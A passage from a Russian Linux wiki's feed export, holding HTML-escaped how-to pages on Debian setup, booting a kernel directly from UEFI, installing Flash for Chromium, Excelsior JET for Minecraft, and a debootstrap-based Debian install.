* Чтобы установить Wicd-Gtk (графический интерфейс к Wicd) (от root или sudo):&lt;br /&gt;
 aptitude install wicd-gtk&lt;br /&gt;
&lt;br /&gt;
==== Курсор в терминале ====&lt;br /&gt;
&lt;br /&gt;
Для появления курсора в виртуальном терминале установите пакет GPM (от root или sudo):&lt;br /&gt;
 aptitude install gpm&lt;br /&gt;
&lt;br /&gt;
==== Отключение установки &amp;quot;рекомендаций&amp;quot; в aptitude ====&lt;br /&gt;
&lt;br /&gt;
Если Вы желаете не устанавливать &amp;quot;рекомендации&amp;quot; пакетов по умолчанию с aptitude, то введите следующую команду (от root):&lt;br /&gt;
 echo -e 'APT::Install-Recommends &amp;quot;false&amp;quot;;\naptitude::Recommends-Important &amp;quot;false&amp;quot;;' | tee -a /etc/apt/apt.conf&lt;br /&gt;
&lt;br /&gt;
==== Подключение кэширования символьных таблиц X11 ====&lt;br /&gt;
&lt;br /&gt;
Для ускорения запуска программ в X-сервере можно включить кэширование символьных таблиц, для этого введите следующую команду:&lt;br /&gt;
 mkdir /tmp ~/.compose-cache&lt;br /&gt;
&lt;br /&gt;
=== Лицензия ===&lt;br /&gt;
&lt;br /&gt;
Содержимое этой страницы предоставляется на условиях следующей лицензии: [http://creativecommons.org/licenses/by-sa/3.0/ CC Attribution-Share Alike 3.0].&lt;br /&gt;
&lt;br /&gt;
[[Category:debootstrap]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Linux_%D0%BD%D0%B0_EFI&amp;diff=391</id>
		<title>Установка Linux на EFI</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Linux_%D0%BD%D0%B0_EFI&amp;diff=391"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Предупреждение ==&lt;br /&gt;
Здесь рассказывается, как сделать так, чтобы ядро Linux загружалось прошивкой (U)EFI без загрузчика типа GRUB. Это нужно далеко не всем. Если вы хотите готовый дистрибутив, например, Ubuntu, поставить на компьютер с UEFI, смотрите инструкцию к своему дистрибутиву. Скорее всего, нужно просто загрузиться с LiveDVD в режиме UEFI, запустить установку обычным способом, и всё настроится автоматически.&lt;br /&gt;
&lt;br /&gt;
== Подготовка дискового пространства ==&lt;br /&gt;
EFI может работать с таблицей разделов MBR, но рекомендуется использовать GPT, поэтому, если нет технических преград, то лучше всего переразметить диск в GPT.&lt;br /&gt;
&lt;br /&gt;
''Стоит отметить, что в некоторых случаях это можно сделать без потери имеющихся разделов — если они не пересекают область, отводимую под GPT (33 сектора в начале и в конце диска)''.&lt;br /&gt;
== Разметка дискового пространства ==&lt;br /&gt;
Первым создаётся загрузочный раздел объёмом не менее 512 MiB (526.7 MB) FAT32 с флагом &amp;lt;tt&amp;gt;esp&amp;lt;/tt&amp;gt; (EFI System Partition), это даст хэш &amp;lt;tt&amp;gt;ef00&amp;lt;/tt&amp;gt; (GPT) или &amp;lt;tt&amp;gt;0xEF&amp;lt;/tt&amp;gt; (MBR). На самом деле, в случае если у Вас GPT, флаг &amp;lt;tt&amp;gt;esp&amp;lt;/tt&amp;gt; это просто алиас на флаг &amp;lt;tt&amp;gt;boot&amp;lt;/tt&amp;gt;. Если что-то сделано не так, ядро (или любой другой загрузчик) не запустятся с этого раздела.&lt;br /&gt;
Хотелось бы добавить, что размер в 512 MiB совсем необязателен для современных систем, минимальный размер данного раздела должен быть не менее суммы размеров ядра и initrd, обычно 50—100 MiB бывает достаточно для домашнего компьютера. &lt;br /&gt;
&lt;br /&gt;
Вообще, загрузочный раздел не обязан быть первым (об этом будет упомянуто ниже), но если Вы захотите переразметить диск, то PARTUID может измениться при перемещении/изменении раздела, потому мы создаём его один раз и навсегда.&lt;br /&gt;
&lt;br /&gt;
В остальном можно разметить диск как угодно, основываясь на документации Вашего дистрибутива или личных пожеланиях.&lt;br /&gt;
&lt;br /&gt;
== Настройка (U)EFI ==&lt;br /&gt;
&lt;br /&gt;
Если ваш дистрибутив поставляет подписанное ядро, то отключать Secure Boot не нужно, иначе ядро не будет загружено.&lt;br /&gt;
&lt;br /&gt;
Если же ваш дистрибутив поставляет неподписанное ядро, или вы не умеете подписывать ядра, то Secure Boot нужно отключить, иначе ядро не будет загружено.&lt;br /&gt;
&lt;br /&gt;
Также желательно отключить CSM (Legacy Mode).&lt;br /&gt;
&lt;br /&gt;
== Подготовка ядра ==&lt;br /&gt;
&lt;br /&gt;
Нельзя просто взять и запустить из EFI любое приложение, потому ядро должно быть собрано соответствующим образом.&lt;br /&gt;
&lt;br /&gt;
Проверьте конфигурацию ядра, данные переменные должны быть включены:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Symbol: EFI_PARTITION [=y]&lt;br /&gt;
 Type  : boolean&lt;br /&gt;
 Prompt: EFI GUID Partition support&lt;br /&gt;
 Location:&lt;br /&gt;
  -&amp;gt; Enable the block layer (BLOCK [=y])&lt;br /&gt;
   -&amp;gt; Partition Types&lt;br /&gt;
    -&amp;gt; Advanced partition selection (PARTITION_ADVANCED [=y])&lt;br /&gt;
 Defined at block/partitions/Kconfig:247&lt;br /&gt;
 Depends on: BLOCK [=y]&lt;br /&gt;
 Selects: CRC32 [=y]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Symbol: EFI [=y]&lt;br /&gt;
 Type  : boolean&lt;br /&gt;
 Prompt: EFI runtime service support&lt;br /&gt;
 Location:&lt;br /&gt;
  -&amp;gt; Processor type and features&lt;br /&gt;
 Defined at arch/x86/Kconfig:1667&lt;br /&gt;
 Depends on: ACPI [=y]&lt;br /&gt;
 Selects: UCS2_STRING [=y] &amp;amp;&amp;amp; EFI_RUNTIME_WRAPPERS [=y]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Symbol: EFI_STUB [=y]&lt;br /&gt;
 Type  : boolean&lt;br /&gt;
 Prompt: EFI stub support&lt;br /&gt;
 Location:&lt;br /&gt;
  -&amp;gt; Processor type and features&lt;br /&gt;
   -&amp;gt; EFI runtime service support (EFI [=y])&lt;br /&gt;
 Defined at arch/x86/Kconfig:1683&lt;br /&gt;
 Depends on: EFI [=y] &amp;amp;&amp;amp; !X86_USE_3DNOW [=n]&lt;br /&gt;
 Selects: RELOCATABLE [=y]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Symbol: EFI_VARS [=y]&lt;br /&gt;
 Type  : tristate&lt;br /&gt;
 Prompt: EFI Variable Support via sysfs&lt;br /&gt;
 Location:&lt;br /&gt;
  -&amp;gt; Firmware Drivers&lt;br /&gt;
   -&amp;gt; EFI (Extensible Firmware Interface) Support&lt;br /&gt;
 Defined at drivers/firmware/efi/Kconfig:4&lt;br /&gt;
 Depends on: EFI [=y]&lt;br /&gt;
 Selected by: GOOGLE_SMI [=n] &amp;amp;&amp;amp; GOOGLE_FIRMWARE [=n] &amp;amp;&amp;amp; ACPI [=y] &amp;amp;&amp;amp; DMI [=y] &amp;amp;&amp;amp; EFI [=y]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONFIG_EFIVAR_FS&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
— включать не нужно.&lt;br /&gt;
&lt;br /&gt;
Если это не так, Вам нужно пересобрать ядро с нужными опциями (для этого обратитесь к соответствующей документации).&lt;br /&gt;
Также желательно указать в &amp;lt;tt&amp;gt;CONFIG_CMDLINE&amp;lt;/tt&amp;gt; путь к root, '&amp;lt;tt&amp;gt;root=/dev/sdXY&amp;lt;/tt&amp;gt;'.&lt;br /&gt;
&lt;br /&gt;
Затем нужно положить ядро и (если есть) initrd в загрузочный раздел. Обычно его кладут в &amp;lt;tt&amp;gt;/boot/EFI/Distro&amp;lt;/tt&amp;gt; (обязательно должен быть каталог EFI (заглавными буквами).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cp /usr/src/linux/arch/x86/boot/bzImage /boot/EFI/Distro/kernel.efi&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
Вместо &amp;lt;tt&amp;gt;Distro&amp;lt;/tt&amp;gt; — имя дистрибутива, но этого каталога может и не быть. kernel.efi, в зависимости от архитектуры ядра (обратите внимание, некоторые поставщики EFI не опознают архитектуру x86, в таком случае Вам придётся использовать x86_64 (amd64) ядро).&lt;br /&gt;
&lt;br /&gt;
== Подготовка загрузчика ==&lt;br /&gt;
&lt;br /&gt;
Теперь нужно заставить EFI узнать, что у нас есть новое ядро.&lt;br /&gt;
&lt;br /&gt;
Для начала нужно загрузиться в любой дистрибутив в режиме EFI (например, я предпочел SystemRescueCD, потому что в нём уже имеются все необходимые утилиты), для этого нужно в настройках EFI указать приоритет загрузки (если Вы отключили CSM, то диск запустится в режиме EFI) или в меню загрузчика EFI (читайте документацию к своей материнской плате, например, у меня это кнопка F8) выбрать нужный диск с префиксом UEFI.&lt;br /&gt;
&lt;br /&gt;
Все действия, указанные ниже, выполняются от пользователя root.&lt;br /&gt;
&lt;br /&gt;
В первую очередь для работы с EFI нужно подгрузить модуль ядра:&lt;br /&gt;
&amp;lt;pre&amp;gt;# modprobe efivars&amp;lt;/pre&amp;gt;&lt;br /&gt;
Если в Вашем дистрибутиве отсутствует &amp;lt;tt&amp;gt;efibootmgr&amp;lt;/tt&amp;gt;, его нужно установить.&lt;br /&gt;
&lt;br /&gt;
Затем говорим EFI, что теперь есть новое ядро:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr -c -d /dev/sdX -pY -L &amp;quot;My Distro EFI Kernel&amp;quot; -l '\&amp;lt;your_vmlinuz&amp;gt;'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Разберём каждый аргумент по порядку:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;tt&amp;gt;-c&amp;lt;/tt&amp;gt; — создать загрузочную запись;&lt;br /&gt;
* &amp;lt;tt&amp;gt;-d&amp;lt;/tt&amp;gt; — диск, на котором находится ядро, в нашем случае это &amp;lt;tt&amp;gt;/dev/sda&amp;lt;/tt&amp;gt; (у Вас может быть другой диск);&lt;br /&gt;
* &amp;lt;tt&amp;gt;-p&amp;lt;/tt&amp;gt; — раздел, в котором находится ядро, в нашем случае это «&amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;» (у Вас может быть другой раздел);&lt;br /&gt;
* &amp;lt;tt&amp;gt;-L&amp;lt;/tt&amp;gt; — отображаемое имя в списке, в нашем случае это «&amp;lt;tt&amp;gt;My Distro EFI Kernel&amp;lt;/tt&amp;gt;», здесь можно оставить место для фантазии, но стоит учесть, что кириллицу и спецсимволы прошивка EFI может не поддерживать;&lt;br /&gt;
* &amp;lt;tt&amp;gt;-l&amp;lt;/tt&amp;gt; — путь к ядру, в нашем случае это &amp;lt;tt&amp;gt;\EFI\Distro\Boot64.efi&amp;lt;/tt&amp;gt;, обратите внимание, что EFI использует '''обратный слэш''' в пути;&lt;br /&gt;
* &amp;lt;tt&amp;gt;-u&amp;lt;/tt&amp;gt; — опции, передаваемые ядру, здесь указывается раздел, где установлен Ваш дистрибутив (пользователям systemd нужно добавить &amp;lt;tt&amp;gt;init=/usr/lib/systemd/systemd&amp;lt;/tt&amp;gt; перед &amp;lt;tt&amp;gt;quiet&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Вы также можете отсортировать меню загрузки, удалить ненужные пункты, отключить их и т. д. Все возможности перечислены в &amp;lt;tt&amp;gt;man efibootmgr&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Теперь можно перезагрузить компьютер и загрузиться с собранного ядра.&lt;br /&gt;
&lt;br /&gt;
Eсли / расположен на подтоме btrfs, нужно в опциях так же указать rootflags=subvol=&amp;lt;subvolume_with_/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== systemd-boot ===&lt;br /&gt;
Простой менеджер загрузки для UEFI систем ранее известный как gummiboot. Устанавливается в ESP, ядра для загрузки тоже должны находиться на том же разделе. При использовании systemd-boot удобно монтировать ESP как /boot&lt;br /&gt;
&lt;br /&gt;
==== Установка ====&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# bootctl --path=esp install&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Где esp, путь до смонтированного esp. Далее следует поместить ядро и initramfs на тот же esp раздел.&lt;br /&gt;
&lt;br /&gt;
==== Настройка ====&lt;br /&gt;
Конфигурация состоит из основного файла меню и конфигурации отдетных записей (пунктов) меню.&lt;br /&gt;
&lt;br /&gt;
Основные параметры конфигурации разположены в &amp;lt;tt&amp;gt;esp/loader/loader.conf&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default arch&lt;br /&gt;
timeout 3&lt;br /&gt;
editor 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
где, &amp;lt;tt&amp;gt;default&amp;lt;/tt&amp;gt; — пункт меню загружаемый по умолчанию, имя файла без .conf; &amp;lt;tt&amp;gt;timeout&amp;lt;/tt&amp;gt; — время отображения загрузочного меню, при 0 меню отображаться не будет; &amp;lt;tt&amp;gt;editor&amp;lt;/tt&amp;gt; — будет ли доступен редактор параметров загрузки. &lt;br /&gt;
&lt;br /&gt;
Конфигурация пунктов загрузочного меню хранится в файлах &amp;lt;tt&amp;gt;esp/loader/entries/*.conf&amp;lt;/tt&amp;gt;, например&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title          Arch Linux&lt;br /&gt;
linux          /vmlinuz-linux&lt;br /&gt;
initrd         /initramfs-linux.img&lt;br /&gt;
options        root=PARTUUID=14420948-2cea-4de7-b042-40f67c618660 rw&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Flash_%D0%B4%D0%BB%D1%8F_Chromium_%D0%B2_%D1%80%D0%B5%D0%B3%D0%B8%D0%BE%D0%BD%D0%B0%D1%85_%D0%BF%D0%BE%D0%B4_%D1%81%D0%B0%D0%BD%D0%BA%D1%86%D0%B8%D1%8F%D0%BC%D0%B8&amp;diff=389</id>
		<title>Установка Flash для Chromium в регионах под санкциями</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Flash_%D0%B4%D0%BB%D1%8F_Chromium_%D0%B2_%D1%80%D0%B5%D0%B3%D0%B8%D0%BE%D0%BD%D0%B0%D1%85_%D0%BF%D0%BE%D0%B4_%D1%81%D0%B0%D0%BD%D0%BA%D1%86%D0%B8%D1%8F%D0%BC%D0%B8&amp;diff=389"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Рецепт для '''Chromium''':&lt;br /&gt;
&lt;br /&gt;
1) Качаешь pepperflash-plugin:&lt;br /&gt;
&lt;br /&gt;
Если у тебя система x86 - [http://www.slackware.com/~alien/slackbuilds/chromium-pepperflash-plugin/pkg/current/ тут]&lt;br /&gt;
&lt;br /&gt;
Если у тебя система amd64 - [http://www.slackware.com/~alien/slackbuilds/chromium-pepperflash-plugin/pkg64/current/ тут]&lt;br /&gt;
&lt;br /&gt;
Качать нужно файл, который больше всего весит (с расширением .txz).&lt;br /&gt;
&lt;br /&gt;
2) Распаковываешь скачанный архив.&lt;br /&gt;
&lt;br /&gt;
3) В консоли &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo mkdir /usr/lib/pepperflashplugin-nonfree &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4)&amp;lt;pre&amp;gt;sudo cp /адрескаталогасархивом/libpepflashplayer.so /usr/lib/pepperflashplugin-nonfree/ &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5) Перезапускаешь Chromium&lt;br /&gt;
&lt;br /&gt;
6) ???&lt;br /&gt;
&lt;br /&gt;
7) PROFIT!!!&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Excelsior_JIT_%D0%BD%D0%B0_%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B5_minecraft&amp;diff=387</id>
		<title>Установка Excelsior JIT на примере minecraft</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Excelsior_JIT_%D0%BD%D0%B0_%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B5_minecraft&amp;diff=387"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Зачем? =&lt;br /&gt;
&lt;br /&gt;
Excelsior JIT - один из AOT-компиляторов. Ahead-of-Time (AOT) компилятор — это вид компилятора, который использует метод Ahead of Time Compilation (компиляция перед исполнением). Применяется при компиляции в «промежуточные» языки, такие как байт-код Java, .NET Common Intermediate Language (CIL), IBM System/38, IBM System i.&lt;br /&gt;
&lt;br /&gt;
Большинство языков используют метод компиляции Just-In-Time (JIT), которая позволяет компилировать промежуточный код напрямую в бинарный во время его выполнения, что позволяет существенно увеличить скорость выполнения. JIT требует выделения дополнительной памяти.&lt;br /&gt;
&lt;br /&gt;
АОТ не требует выделения дополнительной памяти. АОТ-компиляция проходит с минимальной нагрузкой на систему. Процесс компиляции полностью выполняется перед выполнением программы. &lt;br /&gt;
&lt;br /&gt;
Другими словами Excelsior JIT позволяет в несколько раз ускорить выполнение Java программы. А раз так, то неплохо бы было установить его для ускорения работы, например, Minecraft.&lt;br /&gt;
&lt;br /&gt;
Сравнение: на моем ноутбуке на short дистанции 11 fps с обычной Java-загрузкой и 29 fps на short с eJIT. ~250%.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Инструкции для Ubuntu 12.04&lt;br /&gt;
&lt;br /&gt;
= Загрузка =&lt;br /&gt;
&lt;br /&gt;
Идем на http://www.excelsior-usa.com/jetdleval.php и качаем linux версию (прямой ссылки нет, там меняется каждый refresh).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Установка =&lt;br /&gt;
&lt;br /&gt;
Переместите скачанный .bin файл в каталог без русских символов, ибо у него в установщике быдлокод и без этого он не распакуется. Например будем ставить в ~/Programs/Jet&lt;br /&gt;
&lt;br /&gt;
 cd ~/Programs/Jet&lt;br /&gt;
 chmod a+x ./*.bin&lt;br /&gt;
 ./*.bin&lt;br /&gt;
&lt;br /&gt;
Соглашаемся с EULA, выбираем каталог установки ~/Programs/Jet. НЕ следуем инструкции на сайте, требующей установки в /usr/local. Там она не установится - будет ругаться на невозможность установки половины файлов. В теории хочет рут права, но ставить Third party blob от рута - увольте.&lt;br /&gt;
&lt;br /&gt;
 export PATH=~/Programs/Jet/bin:$PATH&lt;br /&gt;
 ./bin/jetcp&lt;br /&gt;
&lt;br /&gt;
Если будет ругаться - то еще и shared перед запуском: &lt;br /&gt;
&lt;br /&gt;
 export LD_LIBRARY_PATH=~/Programs/Jet/lib/x86/shared:$LD_LIBRARY_PATH&lt;br /&gt;
&lt;br /&gt;
Там создаем новый проект, в строку для парсинга вписываем параметры, с которыми запускали майн. У меня это&lt;br /&gt;
&lt;br /&gt;
 /home/alex/Программы/Java/bin/java -Xmx1024M -Xms512M -cp /home/alex/Игры/Minecraft/MinecraftSP.jar net.minecraft.LauncherFrame&lt;br /&gt;
&lt;br /&gt;
Выпираем параметры оптимизации, я ставил самые максимальные. Пусть майн теперь загружается около двух минут, но зато даже на взгляд видно, что чанки загружаются раза в 3 быстрее.&lt;br /&gt;
&lt;br /&gt;
Проверяем, что всё запускается.&lt;br /&gt;
&lt;br /&gt;
Создаем скрипт запуска майна:&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 export PATH=~/Programs/Jet/bin:$PATH&lt;br /&gt;
 cd ~/.minecraft&lt;br /&gt;
 ./run_MinecraftSP2.sh&lt;br /&gt;
&lt;br /&gt;
run_MinecraftSP2.sh - здесь MinecraftSP2 - это новое имя файла, которое вы указали в настройках проекта. Лежать будет там, где вы настроите рабочий каталог в проекте. Я ставил ~/.minecraft (сделайте резервную копию каталога на всякий случай).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Итог =&lt;br /&gt;
&lt;br /&gt;
Поставили JIT, ускорили майнкрафт в 2.5 раза.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Debian_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%B4%D1%80%D1%83%D0%B3%D0%BE%D0%B9_GNU_Linux_(debootstrap)&amp;diff=385</id>
		<title>Установка Debian через другой GNU Linux (debootstrap)</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Debian_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%B4%D1%80%D1%83%D0%B3%D0%BE%D0%B9_GNU_Linux_(debootstrap)&amp;diff=385"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Лицензия ===&lt;br /&gt;
&lt;br /&gt;
Содержимое этой страницы предоставляется на условиях следующей лицензии: [http://creativecommons.org/licenses/by-sa/3.0/ CC Attribution-Share Alike 3.0].&lt;br /&gt;
&lt;br /&gt;
=== Установка через другой GNU/Linux (продвинутая) ===&lt;br /&gt;
&lt;br /&gt;
==== Пролог ====&lt;br /&gt;
&lt;br /&gt;
Если вам, по каким-то причинам, не угодила установка через официальный установщик (например, экономия дисков и т. д.), то можно установить Debian через любой другой GNU/Linux с прямым доступом к диску. Например, через LiveCD (Knoppix, Ubuntu и т. д.).&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Внимание!''' Инструкция рассчитана на BIOS-машины с x86-архитектурами (IA32 (x86_32, i386, i486 и т. д.) и x86_64 (amd64, EM64T)).&lt;br /&gt;
&lt;br /&gt;
==== Начальная установка ====&lt;br /&gt;
&lt;br /&gt;
* Для начала, разметим файловую систему. Для этого подойдёт программа GParted или CFDisk. Для установки GParted в Debian-подобной системе (Knoppix, Ubuntu и прочие) введите в консоли (от root или sudo):&lt;br /&gt;
 apt install gparted&lt;br /&gt;
* Для установки CFDisk в Debian-подобной системе (Knoppix, Ubuntu и прочие) введите в консоли (от root или sudo):&lt;br /&gt;
 apt install util-linux&lt;br /&gt;
В дальнейшем, будет предполагаться, что основной диск размечен в ext4, и создан swap.&lt;br /&gt;
* Теперь надо примонтировать созданный диск куда-нибудь (от root или sudo):&lt;br /&gt;
 mkdir /media/hda0&lt;br /&gt;
 mount -t ext4 /dev/sda6 /media/hda0&lt;br /&gt;
Вместо «sda6» укажите выбранный диск (в GParted), а вместо «ext4» укажите выбранную файловую систему.&lt;br /&gt;
* Придётся поставить debootstrap:&lt;br /&gt;
1. Для Debian-подобных (от root или sudo):&lt;br /&gt;
 apt install debootstrap&lt;br /&gt;
2. Для всех остальных (от root или sudo):&lt;br /&gt;
 cd /&lt;br /&gt;
 wget -O debootstrap.deb http://httpredir.debian.org/debian/pool/main/d/debootstrap/debootstrap_1.0.70_all.deb&lt;br /&gt;
 ar -x debootstrap.deb&lt;br /&gt;
 tar -xf data.tar.xz&lt;br /&gt;
 rm -f debootstrap.deb control.tar.gz data.tar.xz&lt;br /&gt;
* Ну и сама установка:&lt;br /&gt;
 /usr/sbin/debootstrap --include=dselect --arch $ARCH $DISTRO /media/hda0 http://httpredir.debian.org/debian&lt;br /&gt;
Тут, вместо «$ARCH» укажите архитектуру ОС (для IA32 это i386, а для x86_64 это amd64), а вместо «$DISTRO» кодовое имя нужного релиза Debian (например, stretch).&lt;br /&gt;
* Чтобы система увидела устройства, введите в консоли:&lt;br /&gt;
 mount -o bind /dev /media/hda0/dev&lt;br /&gt;
 mount -o bind /sys /media/hda0/sys&lt;br /&gt;
* Теперь можно в новую систему и войти (от root или sudo):&lt;br /&gt;
 env LANG=C chroot /media/hda0 /bin/bash&lt;br /&gt;
* Создайте символические ссылки для CD-ROM (DVD-ROM):&lt;br /&gt;
 mkdir /media/cdrom0&lt;br /&gt;
 ln -s /media/cdrom0 /media/cdrom&lt;br /&gt;
&lt;br /&gt;
==== Настройки времени и дисков ====&lt;br /&gt;
&lt;br /&gt;
* Для вывода диалога настройки времени:&lt;br /&gt;
 dpkg-reconfigure tzdata&lt;br /&gt;
* Создайте файл /etc/fstab (nano /etc/fstab) с содержанием, образованным по данному шаблону:&lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # Use 'blkid' to print the universally unique identifier for a&lt;br /&gt;
 # device; this may be used with UUID= as a more robust way to name devices&lt;br /&gt;
 # that works even if disks are added and removed. See fstab(5).&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 # /boot was on /dev/sda2 during installation &lt;br /&gt;
 /dev/sda2       /boot           ext2    defaults        0       2&lt;br /&gt;
 # / was on /dev/sda3 during installation &lt;br /&gt;
 /dev/sda3       /               ext4    defaults        0       1&lt;br /&gt;
 # /home was on /dev/sda4 during installation &lt;br /&gt;
 /dev/sda4       /home           ext4    defaults        0       2&lt;br /&gt;
 # swap was on /dev/sda5 during installation&lt;br /&gt;
 /dev/sda5       none            swap    sw              0       0&lt;br /&gt;
 /dev/sr0        /media/cdrom0   udf,iso9660 user,noauto 0       0&lt;br /&gt;
 tmpfs           /tmp            tmpfs   defaults        0       0&lt;br /&gt;
 /tmp            /var/tmp        none    bind            0       0&lt;br /&gt;
Поправьте имена устройств, ненужные диски удалите, нужные добавьте.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Примечание:''' Вместо имён устройств можно (и даже лучше, ибо имена могут измениться по разным причинам) использовать UUID или метку устройства. Например, так: &amp;lt;tt&amp;gt;UUID=63a233ee-b9c2-4cef-a6ab-34f2f756cf1c&amp;lt;/tt&amp;gt; или &amp;lt;tt&amp;gt;LABEL=Root&amp;lt;/tt&amp;gt;.&lt;br /&gt;
* Теперь смонтируем всё это дело:&lt;br /&gt;
 mount -t proc /proc /proc&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
==== Настройка зеркала репозиториев и выбор ПО ====&lt;br /&gt;
&lt;br /&gt;
* Чтобы получить доступ к большему количеству программ из репозиториев, укажите в /etc/apt/sources.list (можно выбрать другое зеркало, например, ftp.debian.org/debian или mirror.yandex.ru/debian):&lt;br /&gt;
 deb http://httpredir.debian.org/debian $DISTRO main contrib non-free&lt;br /&gt;
 # deb-src http://httpredir.debian.org/debian $DISTRO main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://security.debian.org $DISTRO/updates main contrib non-free&lt;br /&gt;
 # deb-src http://security.debian.org $DISTRO/updates main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://httpredir.debian.org/debian $DISTRO-proposed-updates main contrib non-free&lt;br /&gt;
 # deb-src http://httpredir.debian.org/debian $DISTRO-proposed-updates main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 # deb http://httpredir.debian.org/debian $DISTRO-backports main contrib non-free&lt;br /&gt;
 # deb-src http://httpredir.debian.org/debian $DISTRO-backports main contrib non-free&lt;br /&gt;
Где вместо $DISTRO кодовое имя дистрибутива.&lt;br /&gt;
&lt;br /&gt;
Персонально для Debian Sid:&lt;br /&gt;
 deb http://httpredir.debian.org/debian sid main contrib non-free&lt;br /&gt;
 # deb-src http://httpredir.debian.org/debian sid main contrib&lt;br /&gt;
* На x86_64 (amd64) системах лучше предварительно включить поддержку установки IA32-пакетов:&lt;br /&gt;
 dpkg --add-architecture i386&lt;br /&gt;
* После чего обновить список пакетов&lt;br /&gt;
 apt update&lt;br /&gt;
